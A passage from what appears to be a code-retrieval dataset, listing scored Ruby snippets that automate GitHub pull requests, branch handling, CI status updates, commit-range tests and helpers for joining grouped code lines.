"text": "def halo_513(token)\n require_relative './lib/halo513.rb'\n token = ENV['GITHUB_TOKEN'] if token.to_s == \"\"\n\n branch = Wardrobe::Halo513.branch_name\n commit_msg = Wardrobe::Halo513.commit_msg\n reviewer = Wardrobe::Halo513.reviewer\n\n in_each_repo_dir(token) do |org, name, repo|\n handler = Wardrobe::Halo513.new\n next unless handler.needs_to_run?\n puts \"Working on #{name}\"\n\n begin\n puts \"create_branch(#{branch})\"\n create_branch(branch)\n rescue Exception => ex\n puts \"Failed to create '#{branch}' branch: #{ex}\"\n ensure\n system \"git checkout #{branch}\"\n end\n\n files_modified = handler.update_dsl_files\n files_modified.each do |file|\n puts \"git add #{file}\"\n system \"git add #{file}\"\n end\n\n begin\n next unless !files_modified.empty?\n puts \"commit_push_pr(#{branch}, #{commit_msg}, #{reviewer})\"\n commit_push_pr(branch, commit_msg, reviewer)\n rescue Exception => ex\n puts \"Failed to commit, push, and create PR for #{org}/#{name}: #{ex}\"\n end\n end\nend",
"title": ""
},
{
"docid": "c4059b4ffa7ea6cdee97e4258b02ca01",
"score": "0.49181786",
"text": "def testMissingBranch\n setupTest do |iTasksFileName, iTicketsFileName, iLocalRepository|\n executeProcess(\n [\n '--user', 'CommitUser',\n '--comment', 'CommitComment',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--local', iLocalRepository\n ],\n :Error => WEACE::MissingVariableError\n )\n end\n end",
"title": ""
},
{
"docid": "9f3ede279d1eb26c445d1b0df3611087",
"score": "0.49176213",
"text": "def testable_pull_requests(\n project_names,\n admin_users,\n github_login,\n github_password,\n test_message = 'schedule_for_testing',\n account = 'puppetlabs',\n repo_prefix = 'puppetlabs-'\n )\n testable_pull_requests = {}\n project_names.each do |repo_name|\n options = { :login => github_login, :password => github_password }\n prs = ::Github.new(options).pull_requests.list(account, \"#{repo_prefix}#{repo_name}\")\n prs.each do |pr|\n # the data structure of pr returned from list (above) appears to be in a different format\n # than this get call, therefor, I need to get the number, and make this extra call.\n # this seems to justify my experience so far that this github_api plugin may not be worth using.\n number = pr['number']\n pr = ::Github.new(options).pull_requests.get(account, \"#{repo_prefix}#{repo_name}\", number)\n # I know this is lazy to do b/c it means every pull request will be validated twice based\n # on the current workflow with jenkins (where this will populate parameterized builds\n # that also check if the pull request is valid\n if testable_pull_request?(pr, admin_users + Array(github_login), test_message, options)\n if testable_pull_requests[repo_name]\n testable_pull_requests[repo_name].push(number)\n else\n testable_pull_requests[repo_name] = [number]\n end\n end\n end\n end\n testable_pull_requests\n end",
"title": ""
},
{
"docid": "cb9643534671c5a8918bcade383bbabc",
"score": "0.49171066",
"text": "def fetch_details_from_github\n end",
"title": ""
},
{
"docid": "2232ecf1095b8482d89e60e9886f8736",
"score": "0.49166724",
"text": "def ci_hook\n case request.headers['HTTP_X_GITHUB_EVENT']\n when 'pull_request'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n case data['action']\n when 'opened', 'synchronize'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'pending',\n description: 'An Approve review is required before pull requests can be merged.',\n context: 'metasmoke/ci'\n )\n end\n render plain: \"#{commits.length} commits set to pending.\"\n else\n render(plain: 'Not a newly-opened or updated PR; not interested.') && return\n end\n when 'pull_request_review'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n review = data['review']\n if data['action'] == 'submitted' && review['state'] == 'approved'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'success',\n description: 'PR approved :)',\n context: 'metasmoke/ci'\n )\n end\n\n render plain: \"#{commits.length} commits approved.\"\n else\n render(plain: 'Not a submitted Approve review; not interested.') && return\n end\n else\n render(plain: \"Pretty sure we don't subscribe to that event.\") && return\n end\n end",
"title": ""
},
{
"docid": "721db902914c6dbf892ce1390bcaef1e",
"score": "0.49140325",
"text": "def createPull!\n # Formats the HEAD to user:branch\n head = @@my_user+':'+currentBranch?\n\n # Do we have a title ? If not, takes it from the last commit\n pullTitle = (@options[:pulltitle] == false) ? lastCommit? : @options[:pulltitle]\n\n body = @options[:pullbody]\n body = \"#{body}\\n##{options[:issueid]}\\n\" if (options[:issueid] != false)\n\n data = {:title => pullTitle, :body => body, :base => @options[:base], :head => head}\n pp data if @verbose\n puts \"Asking for #{data[:head]} to be merged into #{@@target_user}/#{data[:base]}\"\n\n # Let's send the request\n resp = post(\"/repos/#{@@target_user}/#{@@target_repo}/pulls\", :body => data.to_json)\n pp resp if @verbose\n checkHeaders(resp)\n\n # So far so good. Lets check if it's mergeable and give the user the proper link\n puts \"Pull request succeeded. Getting more informations..\\n\"\n\n infos_resp = get(\"/repos/#{@@target_user}/#{@@target_repo}/pulls/\"+resp.parsed_response['number'].to_s)\n pp infos_resp if @verbose\n checkHeaders(infos_resp)\n\n infos = infos_resp.parsed_response\n\n puts 'Url : '+infos['_links']['html']['href']\n if(infos['mergeable'])\n puts 'Your pull request is mergeable.'\n else\n puts \"/!\\\\ ..But your pull request cannot be merged. Try to rebase then push again. /!\\\\\"\n end\n end",
"title": ""
},
{
"docid": "d9a3700c5cf56c67359fc1f895dbbfab",
"score": "0.49125123",
"text": "def testListSingleDeliverableWorkTemp\n setRepository('DependencyWithWorkTemp') do |iRepoDir|\n lOutputFileName = \"#{iRepoDir}/OutputList.conf.rb\"\n runFSCMS(['ListFiles', '--', '--target', 'TestType/TestID1/0.1/TestDeliverable', '--output', lOutputFileName])\n assert(File.exists?(lOutputFileName))\n File.open(lOutputFileName, 'r') do |iFile|\n assert_equal( {\n 'TestType/TestID1/0.1/TestDeliverable' => {\n :Sources => [ \"#{iRepoDir}/TestType/TestID1/0.1/metadata.conf.rb\" ],\n :ManualDeliverables => [],\n :ManualMissingDeliverables => [],\n :Work => [\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir1\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir1/SubSubDir\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir1/SubSubDir/WorkFile4\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir1/WorkFile2\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir2\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/SubDir2/WorkFile3\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Work/WorkFile1\"\n ],\n :Temp => [\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir1\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir1/SubSubDir\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir1/SubSubDir/TempFile4\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir1/TempFile2\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir2\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/SubDir2/TempFile3\",\n \"#{iRepoDir}/TestType/TestID1/0.1/Temp/TestDeliverable/TempFile1\"\n ],\n :AutoDeliverables => [],\n :AutoMissingDeliverables => [ 'TestType/TestID1/0.1/TestDeliverable' ]\n }\n }, eval(iFile.read))\n end\n end\n end",
"title": ""
},
{
"docid": "c377a92909c3897b1ed6b97642115a84",
"score": "0.49092406",
"text": "def run_build(topic)\n @git.apply_patchset(topic.latest_patchset)\n @git.push_to_github(topic)\n @git.ensure_pull_request(topic)\n rescue StandardError => e\n log \"Could not complete build: #{e.message}\"\n raise\n end",
"title": ""
},
{
"docid": "f38dc2f257186007b438739a5f96d497",
"score": "0.4906366",
"text": "def pull\n self.metadata = @source.retrieve_metadata(self)\n @commander.create_dir\n @source.before_pull(self)\n @source.pull(self)\n @source.after_pull(self)\n @commander.write_metadata(metadata)\n end",
"title": ""
},
{
"docid": "7643d39c57570ee8e97cc783a143532c",
"score": "0.49030325",
"text": "def process_pull(pr)\n log \"===> #{pr.number} #{clone_dir(pr)}\"\n p = Autostager::PullRequest.new(\n pr.head.ref,\n authenticated_url(pr.head.repo.clone_url),\n base_dir,\n clone_dir(pr),\n authenticated_url(pr.base.repo.clone_url),\n )\n if p.staged?\n p.fetch\n if pr.head.sha != p.local_sha\n p.reset_hard\n add_comment = true\n else\n log \"nothing to do on #{pr.number} #{staging_dir(pr)}\"\n add_comment = false\n end\n comment_or_close(p, pr, add_comment)\n else\n p.clone\n comment_or_close(p, pr)\n end\n end",
"title": ""
},
{
"docid": "bdd4bd7b20204456aef535cd086079fb",
"score": "0.49028504",
"text": "def process_pull_requests\n raise RuntimeError,\n \"Github client is not available\" if @github_client.nil?\n\n raise RuntimeError, \n \"Github client is not ready\" unless @github_client.ready\n\n pulls_requiring_build = []\n\n start_time = Time.now.to_f\n $stderr.puts(\"Starting Github inspection...\") if @debug\n pulls_json = @github_client.pull_requests\n\n # Parse the JSON into JSON Objects\n pulls = JenkinsPullover::Github::Model.parse_github_json(pulls_json)\n\n if pulls.kind_of?(Hash) && pulls.has_key?(:message)\n raise RuntimeError,\n \"Github responded with error: #{pulls[:message]}\"\n end\n\n pulls.select {|pull| pull[:state] == \"open\"}.each do |pull|\n # Check the base branch matches\n next unless check_pull_base_branch(pull)\n\n # Examine the comments to detect whether build required\n if build_required(pull)\n $stderr\n .puts(\" => Build required on pull #{pull[:number]}\") if @debug\n \n pulls_requiring_build << pull\n end\n end\n\n epoc = (Time.now.to_f - start_time).round\n $stderr.puts(\"Completed Github inspection in #{epoc}s\") if @debug\n\n pulls_requiring_build\n end",
"title": ""
},
{
"docid": "fea6ab35edd9bee169b537efeb9e2f9e",
"score": "0.49013942",
"text": "def run_necessary?\n logger.info \"Checking pull request ##{@request.id}: #{@request.content.title}\"\n # Compare current sha ids of target and source branch with those from the last test run.\n @request.target_head_sha = @github.commits(@project).first.sha\n comments = @github.issue_comments(@project, @request.id)\n comments = comments.select { |c| [username, username_fail].include?(c.user.login) }.reverse\n comments.each do |comment|\n @request.comment = comment if /Merged ([\\w]+) into ([\\w]+)/.match(comment.body)\n end\n\n statuses = @github.status(@project, @request.head_sha).statuses.select { |s| s.context == self.status_context }\n # Only run if it's mergeable.\n if @request.content.mergeable\n if statuses.empty?\n # If there is no status yet, it has to be a new request.\n logger.info 'New pull request detected, run needed.'\n return true\n elsif !self.disable_comments && [email protected]\n logger.info 'Rerun forced.'\n return true\n end\n else\n # Sometimes GitHub doesn't have a proper boolean value stored.\n if @request.content.mergeable.nil? && switch_branch_to_merged_state\n # Pull request is mergeable after all.\n switch_branch_back\n else\n logger.info 'Pull request not auto-mergeable. Not running.'\n if @request.comment\n logger.info 'Deleting existing comment.'\n call_github(old_comment_success?).delete_comment(@project, @request.comment.id)\n end\n create_status(:error, \"Pull request not auto-mergeable. Not running.\") if statuses.first.state != 'error'\n return false\n end\n end\n\n # Initialize shas to ensure it will live on after the 'each' block.\n shas = nil\n statuses.each do |status|\n shas = /Merged ([\\w]+) into ([\\w]+)/.match(status.description)\n break if shas && shas[1] && shas[2]\n end\n\n if shas\n logger.info \"Current target sha: '#{@request.target_head_sha}', pull sha: '#{@request.head_sha}'.\"\n logger.info \"Last test run target sha: '#{shas[2]}', pull sha: '#{shas[1]}'.\"\n if self.rerun_on_source_change && (shas[1] != @request.head_sha)\n logger.info 'Re-running due to new commit in pull request.'\n return true\n elsif self.rerun_on_target_change && (shas[2] != @request.target_head_sha)\n logger.info 'Re-running due to new commit in target branch.'\n return true\n end\n else\n # If there are no SHAs yet, it has to be a new request.\n logger.info 'New pull request detected, run needed.'\n return true\n end\n\n logger.info \"Not running for request ##{@request.id}.\"\n false\n end",
"title": ""
},
{
"docid": "2a1fa5984cd9e80faab8b078101aa727",
"score": "0.48995277",
"text": "def testNominal\n setupTest do |iTasksFileName, iTicketsFileName, iLocalRepository|\n $Context[:OS_ExecAnswers] = [\n # svn up => no conflict\n [ 0, 'M SampleFile.txt' ],\n # svn ci => success\n [ 0, 'Sending SampleFile.txt\nTransmitting file data .\nCommitted revision 314.' ]\n ]\n executeProcess(\n [\n '--user', 'CommitUser',\n '--branch', 'BranchName',\n '--comment', 'CommitComment',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--local', iLocalRepository\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn update --accept=postpone ' ],\n [ 'query', 'svn ci --message \"CommitComment\" --username CommitUser ' ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal(@@CommonSlaveActions, iSlaveActions)\n end\n end\n end",
"title": ""
},
{
"docid": "b5239f6d21dea44e6ef45934306e8350",
"score": "0.4895199",
"text": "def build_blc_run_tests_command\n github_sha1 = read_env_variable('ghprbActualCommit')\n config = read_env_variable('CONFIG')\n command = \"ruby _tests/run_tests.rb --blc -c #{config} --base-url=#{@host_to_test}\"\n command += \" --update-github-status=#{github_sha1}\" if github_sha1\n command += ' --use-docker'\n command\n end",
"title": ""
},
{
"docid": "236ffbcb9ac0a5469d54447cdfbff359",
"score": "0.48944283",
"text": "def test_check_commit_dev2\n pp \"******************************************************\"\n pp \" test_check_commit_dev2\"\n pp \"******************************************************\"\n \n settings_file = File.join(File.dirname(__FILE__), '../resources/GetCommitMessagesTestRepository_settings.yml')\n settings = YAML::load(File.open(settings_file))\n \n branch=\"dev2\"\n # make sure we are on the expected branch as tests run abitrary orders\n system(\"cd test/resources/GetCommitMessagesTestRepository && git checkout #{ branch}\")\n\n Core.settings = settings\n # both these are on master, first and last commit on master\n # ./pac.rb --sha <to> []<from>]\n from=\"969e8311164b1086006edfee1d291c04da651cf9\"\n to=\"2f4237b8dff65ec3caf842dc68106f34f8bc0cca\"\n commit_map = Core.vcs.get_delta(to,from)\n \n pp \"########################################################################################\"\n pp \"All commit found between 'from' SHA #{ from } and 'to' SHA #{ to } on branch #{ branch }\"\n pp \"is in the commit map:\"\n pp \"########################################################################################\"\n pp commit_map\n pp \"########################################################################################\"\n\n # We expect the following SHA in the commit map, as they are found on the branch:\n expected_SHAs = [\n # not included, they are after the stop SHA given\n #\"996967baae8b4cb9f862f18c31fb5d42bdd4439c\", #task id 3, branch master dev2 dev4\n #\"c533da1bc3b74c55e58f27e7ac32cf2cb19be24d\", #no task id, initial commit, branch master dev2 dev4\n Model::PACCommit.new(\"969e8311164b1086006edfee1d291c04da651cf9\")#, #no task id, branch dev2\n #\"2f4237b8dff65ec3caf842dc68106f34f8bc0cca\", #task id 200, branch dev2\n ]\n # These commits should not be in the commit map, as they do not belong the branch \n not_expected_SHAs = [\n Model::PACCommit.new(\"996967baae8b4cb9f862f18c31fb5d42bdd4439c\"), #task id 3, branch master dev2 dev4\n Model::PACCommit.new(\"c533da1bc3b74c55e58f27e7ac32cf2cb19be24d\"), #no task id, initial commit, branch master dev2 dev4\n Model::PACCommit.new(\"15d2ad0ee10c4cfc3518ad6e5ce257ab9f47febb\"), #task id 400, branch dev4\n Model::PACCommit.new(\"b20b118dd5986215bf0d76ad73a245433ba6768a\"), #task id 100, branch master dev4, Merge: 9d87738 79b8eeb\n Model::PACCommit.new(\"79b8eebc8285389e31af5f585adc880d689f84fd\"), #no task id, branch master dev4\n Model::PACCommit.new(\"2575481f9344e51bd4ee7f706eb7b2ef2e8153d2\"), #no task id, branch master dev4\n Model::PACCommit.new(\"6bd7623fcf1cbbd41f16bda978cecab6b65a6e99\"), #no task id, branch master dev4, Merge: 4c82d62 9d87738\n Model::PACCommit.new(\"9d8773840c88c7e41ec57e2aeacb4fa444775ecf\"), #task id 300, 301, branch master dev4, Merge: 9e27dfa 6512e4f\n Model::PACCommit.new(\"6512e4f6590ac4aa17c03ed333c317110fddc3f1\"), #task id 301, branch master dev4\n Model::PACCommit.new(\"cb7a8dc1836d910fc1856df77c2f63029bd1c7cd\"), #task id 300, branch master dev4\n Model::PACCommit.new(\"9e27dfa978004cb4845312d01c4a63da94e5f356\"), #task id 5, branch master dev4\n Model::PACCommit.new(\"20e5168e026bb57720dddb5e94a8074d68c54748\"), #task id 4, branch master dev4\n Model::PACCommit.new(\"4c82d62935e78f741d04e2e4b6f0e5a83f05cbfa\"), #task id 100, branch master dev4\n ]\n \n pp \"Checking with test asserts if the SHAs expected are found...\"\n # based on our created test repository\n expected_SHAs.each do |commit|\n assert_true(commit_map.commits.include?(commit), \"Commit map didn't contain the expected SHA which is on #{branch}: #{commit.sha}\")\n end\n not_expected_SHAs.each do |commit|\n assert_false(commit_map.commits.include?(commit), \"Commit map included SHA that was NOT expected (does not exist on #{ branch }): #{commit.sha}\")\n end\n pp \"DONE - asserts okay for expected SHAs\" \n \n grouped_by_task_id = Core.task_id_list(commit_map)\n pp \"########################################################################################\"\n pp \"List of all task ids (references) in the commits just found:\"\n pp \"########################################################################################\"\n pp grouped_by_task_id\n pp \"########################################################################################\"\n\n pp \"Checking with test asserts if the id expected are there:\"\n # expected ids are all those task ids that matches our regexp in the configuration file\n # but only in those commits in the commit map above\n expected_ids = [\n #\"200\"\n ]\n # obvious these ids are from the commits not found, thus the these task ids should be found either\n not_expected_ids = [\n \"3\",\n \"400\",\n \"4\",\n \"100\",\n \"5\",\n \"300\",\n \"301\",\n ]\n \n expected_ids.each do |id|\n assert_not_nil(grouped_by_task_id[id], \"Didn't find task reference for #{id} as expected\")\n end\n\n not_expected_ids.each do |id|\n assert_nil(grouped_by_task_id[id], \"Found task reference for #{id} which was NOT expected\")\n end\n pp \"DONE - asserts okay for expected ids\"\n \n \n \n unreferenced = grouped_by_task_id.unreferenced_commits\n pp \"########################################################################################\"\n pp \"List of all commit that doesn't have a task ids (references):\"\n pp \"########################################################################################\"\n pp unreferenced\n pp \"########################################################################################\"\n # These commits does not have task id references, but are found on the branch we traverse\n expected_unreferenced_SHAs = [\n Model::PACCommit.new(\"969e8311164b1086006edfee1d291c04da651cf9\") #no task id, branch dev2\n ]\n\n # These are all commits on the branch we traverse, without a task id that matches our\n # regexp in the configuration file, as well as all those commits (with or without task ids\n # that is not on the branch\n not_expected_unreferenced_SHAs = [\n Model::PACCommit.new(\"2f4237b8dff65ec3caf842dc68106f34f8bc0cca\"), #task id 200, branch dev2\n Model::PACCommit.new(\"15d2ad0ee10c4cfc3518ad6e5ce257ab9f47febb\"), #task id 400, branch dev4\n Model::PACCommit.new(\"b20b118dd5986215bf0d76ad73a245433ba6768a\"), #task id 100, branch master dev4, Merge: 9d87738 79b8eeb\n Model::PACCommit.new(\"79b8eebc8285389e31af5f585adc880d689f84fd\"), #no task id, branch master dev4\n Model::PACCommit.new(\"2575481f9344e51bd4ee7f706eb7b2ef2e8153d2\"), #no task id, branch master dev4\n Model::PACCommit.new(\"6bd7623fcf1cbbd41f16bda978cecab6b65a6e99\"), #no task id, branch master dev4, Merge: 4c82d62 9d87738\n Model::PACCommit.new(\"9d8773840c88c7e41ec57e2aeacb4fa444775ecf\"), #task id 300, 301, branch master dev4, Merge: 9e27dfa 6512e4f\n Model::PACCommit.new(\"6512e4f6590ac4aa17c03ed333c317110fddc3f1\"), #task id 301, branch master dev4\n Model::PACCommit.new(\"cb7a8dc1836d910fc1856df77c2f63029bd1c7cd\"), #task id 300, branch master dev4\n Model::PACCommit.new(\"9e27dfa978004cb4845312d01c4a63da94e5f356\"), #task id 5, branch master dev4\n Model::PACCommit.new(\"20e5168e026bb57720dddb5e94a8074d68c54748\"), #task id 4, branch master dev4\n Model::PACCommit.new(\"4c82d62935e78f741d04e2e4b6f0e5a83f05cbfa\"), #task id 100, branch master dev4\n Model::PACCommit.new(\"996967baae8b4cb9f862f18c31fb5d42bdd4439c\"), #task id 3, branch master dev2 dev4\n Model::PACCommit.new(\"c533da1bc3b74c55e58f27e7ac32cf2cb19be24d\"), #no task id, initial commit, branch master dev2 dev4\n ]\n\n pp \"Checking with test asserts for un-referenced commits :\"\n # Checking on unreferenced shas:\n expected_unreferenced_SHAs.each do |commit|\n assert_true(unreferenced.include?(commit), \"Found a SHA in unreferenced SHAs, those without issue reference, that was not expected: #{commit.sha}\")\n end\n \n not_expected_unreferenced_SHAs.each do |commit|\n assert_false(unreferenced.include?(commit), \"Found a SHA in unreferenced SHAs, those without issue reference, that was not expected: #{commit.sha}\")\n end\n pp \"DONE - assert okay for un-referenced commits\"\n end",
"title": ""
},
{
"docid": "a9d0629f2a8b52215946ebaa79fab4d5",
"score": "0.4894422",
"text": "def set_up_old_test_repo\n require 'fileutils'\n test_old_repo_path.mkpath\n origin = ROOT + 'spec/fixtures/spec-repos/test_repo/.'\n destination = tmp_repos_path + '../master'\n FileUtils.cp_r(origin, destination)\n repo_make('../master')\n end",
"title": ""
},
{
"docid": "063ea75b012b3dd3b4054191a14cc3d3",
"score": "0.4890989",
"text": "def pulls(repo, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "24efa386ff062d90a58cdc95477f0daf",
"score": "0.48899704",
"text": "def up\n Branch.where(:pull_request => true).each do |branch|\n pr_number = branch.name.split(\"/\").last\n branch.update(:name => \"prs/#{pr_number}/head\")\n end\n end",
"title": ""
},
{
"docid": "41e199b252a39f0dcfc0351a2fa7818d",
"score": "0.48890436",
"text": "def set_test_case\n @test_case = TestCase.includes(:test_case_commits).find_by(name: test_case_params[:test_case], module: test_case_params[:module])\n end",
"title": ""
},
{
"docid": "b9f6ac1603dd83dff7f9434ad25c2936",
"score": "0.48822176",
"text": "def main\n test_green_commit = InfraTestTopic.green_commit\n\n return unless slack_permission?\n return unless new_commits?(test_green_commit)\n\n # As GitHub's API (all of ours, Octokit's and github.com's) does not allow creating a pull request\n # from a commit hash (only a branch name), we create and push a branch.\n branch_name = \"dtl_candidate_#{test_green_commit}\"\n create_branch_from_commit branch_name, test_green_commit\n\n # Create the PR, raising an exception if doing so failed.\n pr_number = GitHub.create_pull_request(\n base: 'levelbuilder',\n head: branch_name,\n title: \"DTL (Test > Levelbuilder): #{test_green_commit}\"\n )\n if pr_number.nil?\n raise Exception.new('GitHub.create_pull_request failed.')\n end\n\n DevelopersTopic.set_dtl(TOPIC_DTL_SOON)\n ChatClient.message('levelbuilder', message_dtl_soon(pr_number), color: 'yellow')\n\n # After waiting five minutes, confirm that we still have permission from the Slack#developers\n # topic to proceed with the deploy.\n sleep(5 * 60)\n return unless slack_permission?\n\n DevelopersTopic.set_dtl(TOPIC_DTL_IN_PROGRESS)\n GitHub.merge_pull_request(pr_number)\n\n delete_branch(branch_name)\nrescue Exception => e\n ChatClient.message(\n 'levelbuilder',\n \"EXCEPTION: #{e.message}\",\n color: 'red'\n )\n DevelopersTopic.set_dtl TOPIC_DTL_FAILED\nend",
"title": ""
},
{
"docid": "84702ee3efb25dedc95dfaabe147f7a4",
"score": "0.48748052",
"text": "def update\n git :remote, :update\n git :reset, '--hard', commit_hash\n\n # submodules\n git :submodule, :init\n git :submodule, :update\n git :submodule, :foreach, '--recursive', :git, :submodule, :update, '--init'\n\n # cleanup\n git :clean, '-d', '-f'\n git :submodule, :foreach, '--recursive', :git, :clean, '-d', '-f'\n end",
"title": ""
}
] |
78e6cf6ad5d1465052ac4d55ce14b928
|
Helper method for joining "groups" of lines Input is expected to be type Array> The outer array holds the various "groups" while the inner array holds code lines. All code lines are "joined" into the first line in their group. To preserve document size, empty lines are placed in the place of the lines that were "joined"
|
[
{
"docid": "f472914f0de5249417553c41c4db3e02",
"score": "0.7599375",
"text": "def join_groups(groups)\n groups.each do |lines|\n line = lines.first\n\n # Handle the case of multiple groups in a a row\n # if one is already replaced, move on\n next if @document[line.index].empty?\n\n # Join group into the first line\n @document[line.index] = CodeLine.new(\n lex: lines.map(&:lex).flatten,\n line: lines.join,\n index: line.index\n )\n\n # Hide the rest of the lines\n lines[1..-1].each do |line|\n # The above lines already have newlines in them, if add more\n # then there will be double newline, use an empty line instead\n @document[line.index] = CodeLine.new(line: \"\", index: line.index, lex: [])\n end\n end\n self\n end",
"title": ""
}
] |
[
{
"docid": "767b9b5600f180efc78979260368c865",
"score": "0.6651949",
"text": "def join_consecutive!\n consecutive_groups = @document.select(&:ignore_newline_not_beg?).map do |code_line|\n take_while_including(code_line.index..-1) do |line|\n line.ignore_newline_not_beg?\n end\n end\n\n join_groups(consecutive_groups)\n self\n end",
"title": ""
},
{
"docid": "8b3190b2b2badbe93881998101ecc260",
"score": "0.64145416",
"text": "def group_lines\n @lines.rewind\n\n inList = false\n wantedType = wantedLevel = nil\n\n block = LineCollection.new\n group = nil\n\n while line = @lines.next\n if line.level == wantedLevel and line.type == wantedType\n group.add_text(line.text)\n else\n group = block.fragment_for(line)\n block.add(group)\n if line.type == Line::LIST\n wantedType = Line::PARAGRAPH\n else\n wantedType = line.type\n end\n wantedLevel = line.type == Line::HEADING ? line.param : line.level\n end\n end\n\n block.normalize\n block\n end",
"title": ""
},
{
"docid": "d131fda71da3fe3482864b0f54b6b22f",
"score": "0.6194283",
"text": "def collapse_multiline_comments(array_of_arrays)\n last_valid_transaction = 0\n i = 0\n array_of_arrays.delete_if do |row|\n if i == 0 #ignore header\n i += 1\n false\n next\n end\n\n if row[0].nil? || row[0] == ''#invalid line, get the comment and concatenate it. We also mark this line for deletion\n extra_description = row[2]\n description = array_of_arrays[last_valid_transaction][2]\n array_of_arrays[last_valid_transaction][2] = \"#{description} #{extra_description}\"\n i += 1\n true\n else #valid transaction line\n last_valid_transaction = i\n i += 1\n false\n end\n end\n array_of_arrays\n end",
"title": ""
},
{
"docid": "aea66513a3c10ae76f696a691961e6b2",
"score": "0.6193049",
"text": "def group(arr)\n\t\t1.upto(arr.length) { |grouplength|\n\t\t\tcombine(arr, grouplength) { |group|\n\t\t\t\tyield(group.join(''))\n\t\t\t}\n\t\t}\n\tend",
"title": ""
},
{
"docid": "237107702df8f8d40171d2c9a9a4e572",
"score": "0.61854434",
"text": "def segment lines\n groups = []\n lines.each do |line|\n groups << [] if line.depth == 0\n groups.last << line\n end\n groups\n end",
"title": ""
},
{
"docid": "88de2d846984d16b2c6f14c9a5881117",
"score": "0.6166102",
"text": "def grouped_lines(lines)\n line_groups = []\n lines.each do |line|\n in_app = in_app_backtrace_line?(line)\n if line_groups.last && line_groups.last[0] == in_app\n line_groups.last[1] << line\n else\n line_groups << [in_app, [line]]\n end\n end\n line_groups\n end",
"title": ""
},
{
"docid": "aca8d18594f6fdf707883528e5c1d447",
"score": "0.60974014",
"text": "def join_heredoc!\n start_index_stack = []\n heredoc_beg_end_index = []\n lines.each do |line|\n line.lex.each do |lex_value|\n case lex_value.type\n when :on_heredoc_beg\n start_index_stack << line.index\n when :on_heredoc_end\n start_index = start_index_stack.pop\n end_index = line.index\n heredoc_beg_end_index << [start_index, end_index]\n end\n end\n end\n\n heredoc_groups = heredoc_beg_end_index.map { |start_index, end_index| @document[start_index..end_index] }\n\n join_groups(heredoc_groups)\n self\n end",
"title": ""
},
{
"docid": "f0dcc9e0d318d508028d6cb6008b14ff",
"score": "0.59964764",
"text": "def group_sequence (sequence)\n\n temp_sequence = \"\"\n index = 0; cont = 0\n while sequence[index] != nil do\n temp_sequence += sequence[index]\n index += 1\n if cont < $MAX_LENGTH - 1\n cont += 1\n else\n temp_sequence += \"\\n\"\n cont = 0\n end\n end\n temp_sequence\nend",
"title": ""
},
{
"docid": "16442fb0d820e3bd6fc1f15d464b3b77",
"score": "0.598013",
"text": "def combine(arrays)\n string = arrays.inject do |r, rep|\n temp = []\n r.each {|aa| rep.each {|bb| temp << (aa.concat_and_merge_groups(bb))}}\n temp\n end\n string\nend",
"title": ""
},
{
"docid": "bd5d44a265890e27a686922096e05963",
"score": "0.59728515",
"text": "def apply_groups(data) # :nodoc:\n items, pieces, final = [], [], []\n data.each do |line|\n changed = line_changed?(line, pieces)\n new_items = build_items(line, changed)\n changed = groups.size if changed.nil?\n\n final << new_items.first if changed.zero?\n\n items = items.slice(0, changed)\n items = items + new_items\n pieces = pieces.slice(0, changed)\n new_items.count.times { pieces << line }\n\n items[changed..-1].each_with_index do |item,i|\n offset = changed + i - 1\n items[offset].children << item if offset > -1\n end\n end\n\n final\n end",
"title": ""
},
{
"docid": "270462a3e8eebd92c799cf37bdced372",
"score": "0.59229827",
"text": "def join_lines(lines, pos)\r\n outlines = []\r\n while lines.size > 0\r\n outlines << lines.shift\r\n while lines.size > 0 && \r\n (outlines.last =~ /[,\\\\]\\s*$/ || \r\n # don't join after a child label\r\n (outlines.last !~ /^\\s*\\w+:/ &&\r\n (outlines.last =~ /\\[\\s*$/ ||\r\n (lines.first =~ /^\\s*\\]/ && outlines.last =~ /\\[/))))\r\n l = lines.shift\r\n outlines.last.gsub!(\"\\\\\",\"\")\r\n if lines.size == 0\r\n # the prefix might have whitespace on the\r\n # right hand side which is relevant for the position\r\n pos = outlines.last.size + pos\r\n end\r\n outlines.last.concat(l)\r\n end\r\n end\r\n [outlines, pos]\r\nend",
"title": ""
},
{
"docid": "4945d74e54f47b06c1489ca75cfbba5f",
"score": "0.5874793",
